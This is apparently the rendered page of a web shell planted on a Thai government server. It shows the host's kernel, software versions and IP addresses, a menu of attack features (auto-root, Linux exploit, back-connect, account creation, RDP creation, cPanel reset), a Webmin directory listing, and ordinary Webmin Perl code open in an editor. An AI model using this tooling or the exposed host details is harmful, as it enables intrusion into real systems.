Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
mysql /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
8.12
KB
-rw-r--r--
acl_security.pl
4.43
KB
-rwxr-xr-x
backup.pl
4.13
KB
-rwxr-xr-x
backup_config.pl
1.01
KB
-rwxr-xr-x
backup_db.cgi
7.91
KB
-rwxr-xr-x
backup_form.cgi
6.59
KB
-rwxr-xr-x
cgi_args.pl
577
B
-rwxr-xr-x
config
516
B
-rw-r--r--
config-Amazon-Linux-2-ALL
397
B
-rw-r--r--
config-CentOS-Linux-7.0-ALL
397
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
397
B
-rw-r--r--
config-Scientific-Linux-7.0-AL...
397
B
-rw-r--r--
config-Ubuntu-Linux-16.04-17.9...
447
B
-rw-r--r--
config-Ubuntu-Linux-18.04-ALL
440
B
-rw-r--r--
config-aix
473
B
-rw-r--r--
config-cobalt-linux
411
B
-rw-r--r--
config-coherent-linux
413
B
-rw-r--r--
config-debian-linux
410
B
-rw-r--r--
config-debian-linux-2.2-ALL
430
B
-rw-r--r--
config-freebsd
473
B
-rw-r--r--
config-freebsd-8-ALL
510
B
-rw-r--r--
config-gentoo-linux
407
B
-rw-r--r--
config-mandrake-linux
393
B
-rw-r--r--
config-mandrake-linux-10.1-ALL
395
B
-rw-r--r--
config-msc-linux
415
B
-rw-r--r--
config-netbsd
425
B
-rw-r--r--
config-open-linux
411
B
-rw-r--r--
config-openmamba-linux
411
B
-rw-r--r--
config-pardus-linux
340
B
-rw-r--r--
config-redhat-linux
411
B
-rw-r--r--
config-redhat-linux-24.0
415
B
-rw-r--r--
config-redhat-linux-25.0-ALL
417
B
-rw-r--r--
config-redhat-linux-7.0-23.0
413
B
-rw-r--r--
config-slackware-linux-8.0-ALL
443
B
-rw-r--r--
config-sol-linux
449
B
-rw-r--r--
config-solaris-10
434
B
-rw-r--r--
config-solaris-11-ALL
484
B
-rw-r--r--
config-solaris-9
492
B
-rw-r--r--
config-suse-linux
403
B
-rw-r--r--
config-suse-linux-7.1-ALL
401
B
-rw-r--r--
config-syno-linux
522
B
-rwxr-xr-x
config-trustix-linux
401
B
-rw-r--r--
config-turbo-linux
411
B
-rw-r--r--
config-united-linux
401
B
-rw-r--r--
config-windows
562
B
-rw-r--r--
config.info
1.49
KB
-rw-r--r--
config.info.bg
1.74
KB
-rw-r--r--
config.info.bg.UTF-8
2.75
KB
-rw-r--r--
config.info.ca
1.67
KB
-rw-r--r--
config.info.ca.UTF-8
1.7
KB
-rw-r--r--
config.info.cz
1.37
KB
-rw-r--r--
config.info.cz.UTF-8
1.46
KB
-rw-r--r--
config.info.de
1.64
KB
-rw-r--r--
config.info.de.UTF-8
1.64
KB
-rw-r--r--
config.info.es
803
B
-rw-r--r--
config.info.es.UTF-8
813
B
-rw-r--r--
config.info.fi
0
B
-rw-r--r--
config.info.fr
0
B
-rw-r--r--
config.info.hu
1.24
KB
-rw-r--r--
config.info.hu.UTF-8
1.32
KB
-rw-r--r--
config.info.it
1.54
KB
-rw-r--r--
config.info.it.UTF-8
1.54
KB
-rw-r--r--
config.info.ja_JP.UTF-8
1.7
KB
-rw-r--r--
config.info.ja_JP.euc
1.31
KB
-rw-r--r--
config.info.nl
1.67
KB
-rw-r--r--
config.info.nl.UTF-8
1.67
KB
-rw-r--r--
config.info.no
1.58
KB
-rw-r--r--
config.info.no.UTF-8
1.58
KB
-rw-r--r--
config.info.pl
779
B
-rw-r--r--
config.info.pl.UTF-8
808
B
-rw-r--r--
config.info.pt_BR
1.88
KB
-rw-r--r--
config.info.pt_BR.UTF-8
1.83
KB
-rw-r--r--
config.info.ru.UTF-8
1.26
KB
-rw-r--r--
config.info.ru_RU
827
B
-rw-r--r--
config.info.ru_RU.UTF-8
1.26
KB
-rw-r--r--
config.info.ru_SU
827
B
-rw-r--r--
config.info.sv
657
B
-rw-r--r--
config.info.sv.UTF-8
677
B
-rw-r--r--
config.info.tr
1.06
KB
-rw-r--r--
config.info.uk_UA
864
B
-rw-r--r--
config.info.uk_UA.UTF-8
1.29
KB
-rw-r--r--
config.info.zh_CN
262
B
-rw-r--r--
config.info.zh_CN.UTF-8
320
B
-rw-r--r--
config.info.zh_TW.Big5
722
B
-rw-r--r--
config.info.zh_TW.UTF-8
891
B
-rw-r--r--
config_info.pl
575
B
-rwxr-xr-x
cpan_modules.pl
84
B
-rwxr-xr-x
create_table.cgi
1.02
KB
-rwxr-xr-x
csv.cgi
2.26
KB
-rwxr-xr-x
csv_form.cgi
1.67
KB
-rwxr-xr-x
defaultacl
85
B
-rw-r--r--
delete_cprivs.cgi
1.15
KB
-rwxr-xr-x
delete_dbs.cgi
1.04
KB
-rwxr-xr-x
delete_fields.cgi
665
B
-rwxr-xr-x
delete_hosts.cgi
1018
B
-rwxr-xr-x
delete_tprivs.cgi
1.1
KB
-rwxr-xr-x
delete_users.cgi
941
B
-rwxr-xr-x
download.cgi
1.07
KB
-rwxr-xr-x
drop_dbase.cgi
1.86
KB
-rwxr-xr-x
drop_dbases.cgi
1.39
KB
-rwxr-xr-x
drop_table.cgi
1.27
KB
-rwxr-xr-x
drop_tables.cgi
1.75
KB
-rwxr-xr-x
edit_cnf.cgi
2.92
KB
-rwxr-xr-x
edit_cpriv.cgi
2.34
KB
-rwxr-xr-x
edit_db.cgi
1.73
KB
-rwxr-xr-x
edit_dbase.cgi
6.46
KB
-rwxr-xr-x
edit_field.cgi
4.99
KB
-rwxr-xr-x
edit_host.cgi
1.48
KB
-rwxr-xr-x
edit_index.cgi
1.83
KB
-rwxr-xr-x
edit_manual.cgi
952
B
-rwxr-xr-x
edit_table.cgi
2.85
KB
-rwxr-xr-x
edit_tpriv.cgi
2.21
KB
-rwxr-xr-x
edit_user.cgi
3.28
KB
-rwxr-xr-x
edit_view.cgi
2.17
KB
-rwxr-xr-x
exec.cgi
1.53
KB
-rwxr-xr-x
exec_file.cgi
2.45
KB
-rwxr-xr-x
exec_form.cgi
3.62
KB
-rwxr-xr-x
import.cgi
1.99
KB
-rwxr-xr-x
index.cgi
9.91
KB
-rwxr-xr-x
install_check.pl
549
B
-rwxr-xr-x
kill_procs.cgi
385
B
-rwxr-xr-x
list_cprivs.cgi
2.21
KB
-rwxr-xr-x
list_dbs.cgi
1.89
KB
-rwxr-xr-x
list_hosts.cgi
1.76
KB
-rwxr-xr-x
list_procs.cgi
1.42
KB
-rwxr-xr-x
list_tprivs.cgi
2.03
KB
-rwxr-xr-x
list_users.cgi
2.73
KB
-rwxr-xr-x
list_vars.cgi
1.72
KB
-rwxr-xr-x
log_parser.pl
3.14
KB
-rwxr-xr-x
login.cgi
748
B
-rwxr-xr-x
module.info
190
B
-rw-r--r--
module.info.ca
127
B
-rw-r--r--
module.info.ca.UTF-8
139
B
-rw-r--r--
module.info.cz
32
B
-rw-r--r--
module.info.cz.UTF-8
40
B
-rw-r--r--
module.info.de
127
B
-rw-r--r--
module.info.de.UTF-8
139
B
-rw-r--r--
module.info.es
40
B
-rw-r--r--
module.info.es.UTF-8
46
B
-rw-r--r--
module.info.fr
47
B
-rw-r--r--
module.info.fr.UTF-8
53
B
-rw-r--r--
module.info.hu
34
B
-rw-r--r--
module.info.hu.UTF-8
41
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.UTF-8
39
B
-rw-r--r--
module.info.ja_JP.UTF-8
52
B
-rw-r--r--
module.info.ja_JP.euc
41
B
-rw-r--r--
module.info.ko_KR.UTF-8
49
B
-rw-r--r--
module.info.ko_KR.euc
39
B
-rw-r--r--
module.info.ms_MY
148
B
-rw-r--r--
module.info.ms_MY.UTF-8
160
B
-rw-r--r--
module.info.nl
30
B
-rw-r--r--
module.info.nl.UTF-8
36
B
-rw-r--r--
module.info.no
29
B
-rw-r--r--
module.info.no.UTF-8
35
B
-rw-r--r--
module.info.pl
34
B
-rw-r--r--
module.info.pl.UTF-8
40
B
-rw-r--r--
module.info.pt
40
B
-rw-r--r--
module.info.pt.UTF-8
46
B
-rw-r--r--
module.info.ru.UTF-8
53
B
-rw-r--r--
module.info.ru_RU
35
B
-rw-r--r--
module.info.ru_RU.UTF-8
56
B
-rw-r--r--
module.info.ru_SU
35
B
-rw-r--r--
module.info.sv
28
B
-rw-r--r--
module.info.sv.UTF-8
34
B
-rw-r--r--
module.info.tr
34
B
-rw-r--r--
module.info.zh_CN
30
B
-rw-r--r--
module.info.zh_TW.Big5
35
B
-rw-r--r--
mysql-lib.pl
39.02
KB
-rwxr-xr-x
newdb.cgi
1.07
KB
-rwxr-xr-x
newdb_form.cgi
1.45
KB
-rwxr-xr-x
postinstall.pl
158
B
-rw-r--r--
root_form.cgi
830
B
-rwxr-xr-x
save_cnf.cgi
2.82
KB
-rwxr-xr-x
save_cpriv.cgi
2.66
KB
-rwxr-xr-x
save_db.cgi
2.68
KB
-rwxr-xr-x
save_field.cgi
4.72
KB
-rwxr-xr-x
save_host.cgi
2.35
KB
-rwxr-xr-x
save_index.cgi
1.39
KB
-rwxr-xr-x
save_manual.cgi
526
B
-rwxr-xr-x
save_root.cgi
1.11
KB
-rwxr-xr-x
save_sync.cgi
454
B
-rwxr-xr-x
save_tpriv.cgi
2.58
KB
-rwxr-xr-x
save_user.cgi
4.55
KB
-rwxr-xr-x
save_vars.cgi
755
B
-rwxr-xr-x
save_view.cgi
1.84
KB
-rwxr-xr-x
search_form.cgi
1.38
KB
-rwxr-xr-x
start.cgi
218
B
-rwxr-xr-x
stop.cgi
203
B
-rwxr-xr-x
syslog_logs.pl
739
B
-rwxr-xr-x
table_form.cgi
1.95
KB
-rwxr-xr-x
useradmin_update.pl
3.29
KB
-rwxr-xr-x
view-lib.pl
3.56
KB
-rwxr-xr-x
view_table.cgi
14.58
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : view_table.cgi
#!/usr/bin/perl # view_table.cgi # Display all data in some table if (-r 'mysql-lib.pl') { require './mysql-lib.pl'; } else { require './postgresql-lib.pl'; } if ($config{'charset'}) { $main::force_charset = $config{'charset'}; } if ($ENV{'CONTENT_TYPE'} !~ /boundary=/) { &ReadParse(); } else { &ReadParseMime(); } &can_edit_db($in{'db'}) || &error($text{'dbase_ecannot'}); @str = &table_structure($in{'db'}, $in{'table'}); foreach $s (@str) { $keyed++ if ($s->{'key'} eq 'PRI'); } if (!$keyed && $module_name eq "postgresql") { # Can use oid as key eval { $main::error_must_die = 1; $d = &execute_sql($in{'db'}, "select oid from ". "e_table($in{'table'}). " where 0 = 1"); }; if (!$@) { # Has an OID, so use it $use_oids = 1; $keyed = 1; } } # Get search SQL ($search, $searchhids, $searchargs, $advcount) = &get_search_args(\%in); # Work out start position $d = &execute_sql_safe($in{'db'}, "select count(*) from "."e_table($in{'table'})." ".$search); $total = int($d->{'data'}->[0]->[0]); if ($in{'jump'} > 0) { $in{'start'} = int($in{'jump'} / $displayconfig{'perpage'}) * $displayconfig{'perpage'}; if ($in{'start'} >= $total) { $in{'start'} = $total - $displayconfig{'perpage'}; $in{'start'} = int(($in{'start'} / $displayconfig{'perpage'}) + 1) * $displayconfig{'perpage'}; } } else { $in{'start'} = int($in{'start'}); } if ($in{'new'} && $total > $displayconfig{'perpage'}) { # go to the last screen for adding a row $in{'start'} = $total - $displayconfig{'perpage'}; $in{'start'} = int(($in{'start'} / $displayconfig{'perpage'}) + 1) * $displayconfig{'perpage'}; } # Get limiting and sorting SQL $limitsql = &get_search_limit(\%in); ($sortsql, $sorthids, $sortargs) = &get_search_sort(\%in); # Work out where clause for rows we are operating on $where_select = "select ".($use_oids ? "oid" : "*"). " from "."e_table($in{'table'})." $search $sortsql $limitsql"; if ($in{'delete'}) { # Deleting selected rows $d = &execute_sql($in{'db'}, $where_select); @t = map { $_->{'field'} } @str; $count = 0; foreach $r (split(/\0/, $in{'row'})) { local @where; local @r = @{$d->{'data'}->[$r]}; if ($use_oids) { # Where clause just uses OID push(@where, "oid = $r[0]"); } else { # Where clause uses keys for($i=0; $i<@t; $i++) { if ($str[$i]->{'key'} eq 'PRI') { if ($r[$i] eq 'NULL') { push(@where, "estr($t[$i]). " is null"); } else { $r[$i] =~ s/'/''/g; push(@where, "estr($t[$i]). " = '$r[$i]'"); } } } } &execute_sql_logged($in{'db'}, "delete from "."e_table($in{'table'}). " where ".join(" and ", @where)); $count++; } &webmin_log("delete", "data", $count, \%in); &redirect("view_table.cgi?db=$in{'db'}&". "table=".&urlize($in{'table'})."&start=$in{'start'}". $searchargs.$sortargs); } elsif ($in{'save'}) { # Update edited rows $d = &execute_sql($in{'db'}, $where_select); @t = map { $_->{'field'} } @str; $count = 0; for($j=0; $j<$displayconfig{'perpage'}; $j++) { next if (!defined($in{"${j}_$t[0]"})); local (@where, @set); local @r = @{$d->{'data'}->[$j]}; local @params; if ($use_oids) { # Where clause just uses OID push(@where, "oid = $r[0]"); } for($i=0; $i<@t; $i++) { if (!$use_oids) { # Where clause uses keys if ($str[$i]->{'key'} eq 'PRI') { if ($r[$i] eq 'NULL') { push(@where, "estr($t[$i]). " is null"); } else { $r[$i] =~ s/'/''/g; push(@where, "estr($t[$i]). " = '$r[$i]'"); } } } local $ij = $in{"${j}_$t[$i]"}; local $ijdef = $in{"${j}_$t[$i]_def"}; next if ($ijdef || !defined($ij)); if (!$displayconfig{'blob_mode'} || !&is_blob($str[$i])) { $ij =~ s/\r//g; } push(@set, "estr($t[$i])." = ?"); push(@params, $ij eq '' ? undef : $ij); } &execute_sql_logged($in{'db'}, "update "."e_table($in{'table'})." set ". join(" , ", @set)." where ". join(" and ", @where), @params); $count++; } &webmin_log("modify", "data", $count, \%in); &redirect("view_table.cgi?db=$in{'db'}&". "table=".&urlize($in{'table'})."&start=$in{'start'}". $searchargs.$sortargs); } elsif ($in{'savenew'}) { # Adding a new row for($j=0; $j<@str; $j++) { if (!$displayconfig{'blob_mode'} || !&is_blob($str[$j])) { $in{$j} =~ s/\r//g; } push(@set, $in{$j} eq '' ? undef : $in{$j}); } &execute_sql_logged($in{'db'}, "insert into "."e_table($in{'table'}). " values (".join(" , ", map { "?" } @set).")", @set); &redirect("view_table.cgi?db=$in{'db'}&". "table=".&urlize($in{'table'})."&start=$in{'start'}". $searchargs.$sortargs); &webmin_log("create", "data", undef, \%in); } elsif ($in{'cancel'} || $in{'new'}) { undef($in{'row'}); } $desc = &text('table_header', "<tt>$in{'table'}</tt>", "<tt>$in{'db'}</tt>"); &ui_print_header($desc, $text{'view_title'}, ""); if ($in{'start'} || $total > $displayconfig{'perpage'}) { print "<center>\n"; if ($in{'start'}) { printf "<a href='view_table.cgi?db=%s&table=%s&start=%s%s%s'>". "<img src=../images/left.gif border=0 align=middle></a>\n", $in{'db'}, $in{'table'}, $in{'start'} - $displayconfig{'perpage'}, $searchargs, $sortargs; } print "<font size=+1>",&text('view_pos', $in{'start'}+1, $in{'start'}+$displayconfig{'perpage'} > $total ? $total : $in{'start'}+$displayconfig{'perpage'}, $total),"</font>\n"; if ($in{'start'}+$displayconfig{'perpage'} < $total) { printf "<a href='view_table.cgi?db=%s&table=%s&start=%s%s%s'>". "<img src=../images/right.gif border=0 align=middle></a> ", $in{'db'}, $in{'table'}, $in{'start'} + $displayconfig{'perpage'}, $searchargs, $sortargs; } print "</center>\n"; } print "<table width=100% cellspacing=0 cellpadding=0>\n"; if ($in{'field'}) { # Show details of simple search my $msg = $in{'match'} == 2 || $in{'match'} == 3 ? 'view_searchheadnot' : 'view_searchhead'; print "<tr> <td><b>",&text($msg, "<tt>$in{'for'}</tt>", "<tt>$in{'field'}</tt>"),"</b></td>\n"; print "<td align=right><a href='view_table.cgi?db=$in{'db'}&", "table=$in{'table'}$sortargs'>$text{'view_searchreset'}</a></td> </tr>\n"; } elsif ($in{'advanced'}) { # Show details of advanced search print "<tr> <td><b>",&text('view_searchhead2', $advcount),"</b></td>\n"; print "<td align=right><a href='view_table.cgi?db=$in{'db'}&", "table=$in{'table'}$sortargs'>$text{'view_searchreset'}</a></td> </tr>\n"; } if ($in{'sortfield'}) { # Show current sort order print "<tr> <td><b>",&text($in{'sortdir'} ? 'view_sorthead2' : 'view_sorthead1', "<tt>$in{'sortfield'}</tt>"),"</b></td>\n"; print "<td align=right><a href='view_table.cgi?db=$in{'db'}&", "table=$in{'table'}$searchargs'>$text{'view_sortreset'}</a></td> </tr>\n"; } print "</table>\n"; if ($displayconfig{'blob_mode'}) { print &ui_form_start("view_table.cgi", "form-data"); } else { print &ui_form_start("view_table.cgi", "post"); } print &ui_hidden("db", $in{'db'}),"\n"; print &ui_hidden("table", $in{'table'}),"\n"; print &ui_hidden("start", $in{'start'}),"\n"; print $searchhids; print $sorthids; $check = !defined($in{'row'}) && !$in{'new'} && $keyed; if ($total || $in{'new'}) { # Get the rows of data, and show the table header $sql = "select * from "."e_table($in{'table'}). " $search $sortsql $limitsql"; $d = &execute_sql_safe($in{'db'}, $sql); @data = @{$d->{'data'}}; @tds = $check ? ( "width=5" ) : ( ); ($has_blob) = grep { &is_blob($_) } @str; @rowlinks = $check ? ( &select_all_link("row"), &select_invert_link("row") ) : ( ); print &ui_links_row(\@rowlinks); print &ui_columns_start([ $check ? ( "" ) : ( ), map { &column_sort_link($_->{'field'}) } @str ], 100, 0, \@tds); # Add an empty row for inserting $realrows = scalar(@data); if ($in{'new'}) { push(@data, [ map { $_->{'default'} eq 'NULL' ? '' : $_->{'default'} eq 'CURRENT_TIMESTAMP' ? '': $_->{'default'} } @str ]); $row{$realrows} = 1; } # Show the rows, some of which may be editable map { $row{$_}++ } split(/\0/, $in{'row'}); $w = int(100 / scalar(@str)); $w = 10 if ($w < 10); for($i=0; $i<@data; $i++) { local @d = map { $_ eq "NULL" ? undef : $_ } @{$data[$i]}; if ($row{$i} && ($displayconfig{'add_mode'} || $has_blob)) { # Show multi-line row editor $et = "<table border>\n"; $et .= "<tr $tb> <td><b>$text{'view_field'}</b></td> ". "<td><b>$text{'view_data'}</b></td> </tr>\n"; for($j=0; $j<@str; $j++) { local $nm = $i == $realrows ? $j : "${i}_$str[$j]->{'field'}"; $et .= "<tr $cb> <td><b>$str[$j]->{'field'}</b></td> <td>\n"; if ($displayconfig{'blob_mode'} && &is_blob($str[$j]) && $d[$j]) { # Show as keep/upload inputs $et .= &ui_radio($nm."_def", 1, [ [ 1, $text{'view_keep'} ], [ 0, $text{'view_set'} ] ])." ". &ui_upload($nm); } elsif ($displayconfig{'blob_mode'} && &is_blob($str[$j])) { # Show upload input $et .= &ui_upload($nm); } elsif ($str[$j]->{'type'} =~ /^enum\((.*)\)$/) { # Show as enum list $et .= &ui_select($nm, $d[$j], [ [ "", " " ], map { [ $_ ] } &split_enum($1) ], 1, 0, 1); } elsif ($str[$j]->{'type'} =~ /\((\d+)\)/) { # Show as known-size text if ($1 > 255) { # Too big, use text area $et .= &ui_textarea( $nm, $d[$j], 5, 70); } else { # Text box local $nw = $1 > 70 ? 70 : $1; $et .= &ui_textbox( $nm, $d[$j], $nw); } } elsif (&is_blob($str[$j])) { # Show as multiline text $et .= &ui_textarea($nm, $d[$j], 5, 70); } else { # Show as fixed-size text $et .= &ui_textbox($nm, $d[$j], 30); } $et .= "</td></tr>\n"; } $et .= "</table>"; print &ui_columns_row([ $check ? ( "" ) : ( ), $et ], [ @tds, "colspan=".scalar(@d) ] ); } elsif ($row{$i}) { # Show one-line row-editor local @cols; for($j=0; $j<@d; $j++) { local $l = $d[$j] =~ tr/\n/\n/; local $nm = $i == $realrows ? $j : "${i}_$d->{'titles'}->[$j]"; if ($displayconfig{'blob_mode'} && &is_blob($str[$j])) { # Cannot edit this blob push(@cols, undef); } elsif ($str[$j]->{'type'} =~ /^enum\((.*)\)$/) { # Show as enum list push(@cols, &ui_select($nm, $d[$j], [ [ "", " " ], map { [ $_ ] } &split_enum($1) ], 1, 0, 1)); } elsif ($str[$j]->{'type'} =~ /\((\d+)\)/) { # Show as known-size text local $nw = $1 > 70 ? 70 : $1; push(@cols, &ui_textbox($nm, $d[$j], $nw)); } elsif ($l) { # Show as multiline text $l++; push(@cols, &ui_textarea($nm, $d[$j], $l, $w)); } else { # Show as known size text push(@cols, &ui_textbox($nm, $d[$j], $w)); } } print &ui_columns_row([ $check ? ( "" ) : ( ), @cols ], \@tds); } else { # Show row contents local @cols; local $j = 0; foreach $c (@d) { if ($displayconfig{'blob_mode'} && &is_blob($str[$j]) && $c ne '') { # Show download link for blob push(@cols, &ui_link("download.cgi?db=$in{'db'}&table=$in{'table'}&start=$in{'start'}".$searchargs.$sortargs."&row=$i&col=$j",$text{'view_download'})); } else { # Just show text (up to limit) if ($config{'max_text'} && length($c) > $config{'max_text'}) { $c = substr($c, 0, $config{'max_text'})." ..."; } push(@cols, &html_escape($c)); } $j++; } if ($check) { print &ui_checked_columns_row(\@cols, \@tds, "row", $i); } else { print &ui_columns_row(\@cols, \@tds); } } } print &ui_columns_end(); print &ui_links_row(\@rowlinks); print &text('view_sqlrun', "<tt>".&html_escape($sql)."</tt>")."<p>\n"; } else { print "<b>$text{'view_none'}</b> <p>\n"; } # Show buttons to edit / delete rows if (!$keyed) { print "<b>$text{'view_nokey'}</b><p>\n"; print &ui_form_end(); } elsif (!$check) { if ($in{'new'}) { print &ui_form_end([ [ "savenew", $text{'save'} ], [ "cancel", $text{'cancel'} ] ]); } else { print &ui_form_end([ [ "save", $text{'save'} ], [ "cancel", $text{'cancel'} ] ]); } } elsif ($total) { print &ui_form_end([ [ "edit", $text{'view_edit'} ], [ "new", $text{'view_new'} ], [ "delete", $text{'view_delete'} ], [ "refresh", $text{'view_refresh'} ] ]); } else { print &ui_form_end([ [ "new", $text{'view_new'} ] ]); } if (!$in{'field'} && $total > $displayconfig{'perpage'}) { # Show search and jump buttons print &ui_hr(); print &ui_form_start("view_table.cgi"); print &ui_hidden("search", 1); print &ui_hidden("db", $in{'db'}); print &ui_hidden("table", $in{'table'}); $sel = &ui_select("field", undef, [ map { [ $_->{'field'}, $_->{'field'} ] } @str ]); $match = &ui_select("match", 0, [ map { [ $_, $text{'view_match'.$_} ] } (0.. 5) ]); print &text('view_search2', &ui_textbox("for", "", 20), $sel, $match),"\n"; print &ui_submit($text{'view_searchok'}); print &ui_form_end(); # Advanced search form print &ui_form_start("search_form.cgi"); print &ui_hidden("db", $in{'db'}); print &ui_hidden("table", $in{'table'}); print &ui_submit($text{'view_adv'}); print &ui_form_end(); print "<p>\n"; # Jump to a row print &ui_form_start("view_table.cgi"); print "<b>$text{'view_jump'}</b>\n"; print &ui_hidden("db", $in{'db'}); print &ui_hidden("table", $in{'table'}); print &ui_textbox("jump", "", 6); print &ui_submit($text{'view_go'}); print &ui_form_end(); } if ($access{'edonly'}) { &ui_print_footer("edit_dbase.cgi?db=$in{'db'}",$text{'dbase_return'}, &get_databases_return_link($in{'db'}), $text{'index_return'}); } else { &ui_print_footer("edit_table.cgi?db=$in{'db'}&table=". &urlize($in{'table'}), $text{'table_return'}, "edit_dbase.cgi?db=$in{'db'}", $text{'dbase_return'}, &get_databases_return_link($in{'db'}), $text{'index_return'}); } # column_sort_link(name) # Returns HTML for a link to switch sorting mode sub column_sort_link { local ($field) = @_; local $dir = $in{'sortfield'} eq $field ? !$in{'sortdir'} : 0; local $img = $in{'sortfield'} eq $field && $dir ? "sortascgrey.gif" : $in{'sortfield'} eq $field && !$dir ? "sortdescgrey.gif" : $dir ? "sortasc.gif" : "sortdesc.gif"; return "<a href='view_table.cgi?db=$in{'db'}&table=". &urlize($in{'table'})."&start=$in{'start'}&sortfield=$field&sortdir=$dir$searchargs'>". "<b>$field</b><img valign=middle src=../images/$img border=0>"; }
Close